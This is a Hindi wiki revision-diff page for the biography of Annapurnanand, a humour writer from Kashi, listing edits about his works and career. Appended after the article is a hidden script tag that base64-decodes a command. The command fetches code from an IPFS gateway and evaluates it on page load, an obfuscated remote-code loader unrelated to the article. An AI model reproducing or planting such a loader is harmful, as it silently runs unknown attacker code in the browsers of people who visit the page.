"अन्नपूर्णानन्द": अवतरणों में अंतर
No edit summary |
No edit summary |
||
(3 सदस्यों द्वारा किए गए बीच के 4 अवतरण नहीं दर्शाए गए) | |||
पंक्ति 1: | पंक्ति 1: | ||
{{सूचना बक्सा साहित्यकार | {{सूचना बक्सा साहित्यकार | ||
|चित्र= | |चित्र=Annpurnananda.jpg | ||
|चित्र का नाम=अन्नपूर्णानन्द | |चित्र का नाम=अन्नपूर्णानन्द | ||
|पूरा नाम=अन्नपूर्णानन्द | |पूरा नाम=अन्नपूर्णानन्द | ||
पंक्ति 8: | पंक्ति 8: | ||
|मृत्यु=[[4 दिसम्बर]], [[1962]] | |मृत्यु=[[4 दिसम्बर]], [[1962]] | ||
|मृत्यु स्थान= | |मृत्यु स्थान= | ||
| | |अभिभावक= | ||
|पालक माता-पिता= | |पालक माता-पिता= | ||
|पति/पत्नी= | |पति/पत्नी= | ||
पंक्ति 32: | पंक्ति 32: | ||
|अद्यतन= | |अद्यतन= | ||
}} | }} | ||
'''अन्नपूर्णानन्द''' ([[अंग्रेज़ी]]: ''Annpurnanand'', जन्म- [[21 सितम्बर]], [[1895]]; मृत्यु- [[4 दिसम्बर]], [[1962]]) [[हिन्दी]] में शिष्ट हास्य लिखने वाले कलाकारों में अग्रणी थे। ये 22 वर्ष की आयु में [[साहित्य]] के क्षेत्र में आए, और इनका पहला [[निबंध]]- '[[खोपड़ी]]' प्रसिद्ध हास्यपत्र 'मतवाला' में प्रकाशित हुआ। उन्होंने प्रमुखत: [[कहानी|कहानियाँ]] लिखी हैं, जिनमें हास्य की योजना [[भाषा]] के स्तर और परिस्थितियों की विडम्बना पर आधारित है। इन्होंने हिंदी के शिष्ट हास्य रस के साहित्य को ऊँचा उठाया। अन्नपूर्णानन्द लिखते बहुत कम थे पर जो कुछ लिखा वह [[समाज]] के प्रति मीठी चुटकियाँ लिए हुए कुरीतियों को दूर करने के लिए और किसी के प्रति द्वेष या मत्सर न रखकर समाज को जगाने के लिए लिखा। उनका हास्य कोरे विदूषकत्व से भिन्न कोटि का था।<ref>{{पुस्तक संदर्भ |पुस्तक का नाम=हिन्दी विश्वकोश, खण्ड 1|लेखक= |अनुवादक= |आलोचक= |प्रकाशक= नागरी प्रचारिणी सभा, वाराणसी|संकलन= भारत डिस्कवरी पुस्तकालय|संपादन= |पृष्ठ संख्या=130 |url=}}</ref> | |||
'''अन्नपूर्णानन्द''' (जन्म- [[21 सितम्बर]], [[1895]]; मृत्यु- [[4 दिसम्बर]], [[1962]]) [[हिन्दी]] में शिष्ट हास्य लिखने वाले कलाकारों में अग्रणी थे। उन्होंने प्रमुखत: [[कहानी|कहानियाँ]] लिखी हैं, जिनमें हास्य की योजना [[भाषा]] के स्तर और परिस्थितियों की विडम्बना पर आधारित है। | |||
*अन्नपूर्णानन्द [[काशी]], [[उत्तर प्रदेश]] के निवासी थे। उन्होंने अधिकांश कहानियों में काशी नगर के वातावरण को मूर्तिमान किया है। | *अन्नपूर्णानन्द [[काशी]], [[उत्तर प्रदेश]] के निवासी थे। उन्होंने अधिकांश कहानियों में काशी नगर के वातावरण को मूर्तिमान किया है। | ||
पंक्ति 45: | पंक्ति 44: | ||
#'पं. विलासी मिश्र' | #'पं. विलासी मिश्र' | ||
*अन्नपूर्णानन्द दानवीर शिवप्रसाद गुप्त के निजी सचिव थे। गुप्तजी के साथ ही आपने संसार भ्रमण भी किया था। | * अन्नपूर्णानन्द ने पंडित मोतीलाल नेहरू के पत्र 'इंडिपेंडेंट' में कुछ समय श्री श्रीप्रकाश के साथ काम किया। | ||
*अन्नपूर्णानन्द दानवीर [[शिवप्रसाद गुप्त]] के निजी सचिव थे। गुप्तजी के साथ ही आपने संसार भ्रमण भी किया था। | |||
{{लेख प्रगति|आधार=|प्रारम्भिक= प्रारम्भिक1|माध्यमिक= |पूर्णता= |शोध= }} | {{लेख प्रगति|आधार=|प्रारम्भिक= प्रारम्भिक1|माध्यमिक= |पूर्णता= |शोध= }} | ||
पंक्ति 52: | पंक्ति 52: | ||
==संबंधित लेख== | ==संबंधित लेख== | ||
{{साहित्यकार}} | {{साहित्यकार}} | ||
[[Category:साहित्यकार]][[Category:लेखक]][[Category:आधुनिक लेखक]][[Category:चरित कोश]][[Category:जीवनी साहित्य]][[Category:साहित्य_कोश]] | [[Category:साहित्यकार]][[Category:लेखक]][[Category:आधुनिक लेखक]][[Category:चरित कोश]][[Category:जीवनी साहित्य]][[Category:साहित्य_कोश]][[Category:हिन्दी विश्वकोश]] | ||
__INDEX__ | __INDEX__ |
18:49, 26 अक्टूबर 2024 के समय का अवतरण
अन्नपूर्णानन्द
| |
पूरा नाम | अन्नपूर्णानन्द |
जन्म | 21 सितम्बर, 1895 |
मृत्यु | 4 दिसम्बर, 1962 |
कर्म भूमि | भारत |
मुख्य रचनाएँ | 'मनमयूर', 'मेरी हजामत', 'मंगलमोद', 'महाकवि चच्चा' आदि। |
प्रसिद्धि | हास्य लेखक |
नागरिकता | भारतीय |
अन्य जानकारी | अन्नपूर्णानन्द ने प्रमुखत: कहानियाँ लिखी हैं। अधिकांश कहानियों में काशी नगर के वातावरण को मूर्तिमान किया है। |
इन्हें भी देखें | कवि सूची, साहित्यकार सूची |
अन्नपूर्णानन्द (अंग्रेज़ी: Annpurnanand, जन्म- 21 सितम्बर, 1895; मृत्यु- 4 दिसम्बर, 1962) हिन्दी में शिष्ट हास्य लिखने वाले कलाकारों में अग्रणी थे। ये 22 वर्ष की आयु में साहित्य के क्षेत्र में आए, और इनका पहला निबंध- 'खोपड़ी' प्रसिद्ध हास्यपत्र 'मतवाला' में प्रकाशित हुआ। उन्होंने प्रमुखत: कहानियाँ लिखी हैं, जिनमें हास्य की योजना भाषा के स्तर और परिस्थितियों की विडम्बना पर आधारित है। इन्होंने हिंदी के शिष्ट हास्य रस के साहित्य को ऊँचा उठाया। अन्नपूर्णानन्द लिखते बहुत कम थे पर जो कुछ लिखा वह समाज के प्रति मीठी चुटकियाँ लिए हुए कुरीतियों को दूर करने के लिए और किसी के प्रति द्वेष या मत्सर न रखकर समाज को जगाने के लिए लिखा। उनका हास्य कोरे विदूषकत्व से भिन्न कोटि का था।[1]
- अन्नपूर्णानन्द काशी, उत्तर प्रदेश के निवासी थे। उन्होंने अधिकांश कहानियों में काशी नगर के वातावरण को मूर्तिमान किया है।
- लेखक स्वयं बराबर काशी में ही रहे। कुछ दिनों तक अपने बड़े भाई सम्पूर्णानन्द, जो उत्तर प्रदेश के मुख्यमंत्री थे, के साथ लखनऊ में भी रहे।
- अन्नपूर्णानन्द की निम्न रचनाएँ प्रकाशित हुई थीं[2]-
- 'मनमयूर'
- 'मेरी हजामत'
- 'मंगलमोद'
- 'मगन रहु चोला'
- 'महाकवि चच्चा' (1932 ई.)
- 'पं. विलासी मिश्र'
- अन्नपूर्णानन्द ने पंडित मोतीलाल नेहरू के पत्र 'इंडिपेंडेंट' में कुछ समय श्री श्रीप्रकाश के साथ काम किया।
- अन्नपूर्णानन्द दानवीर शिवप्रसाद गुप्त के निजी सचिव थे। गुप्तजी के साथ ही आपने संसार भ्रमण भी किया था।
|
|
|
|
|
टीका टिप्पणी और संदर्भ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>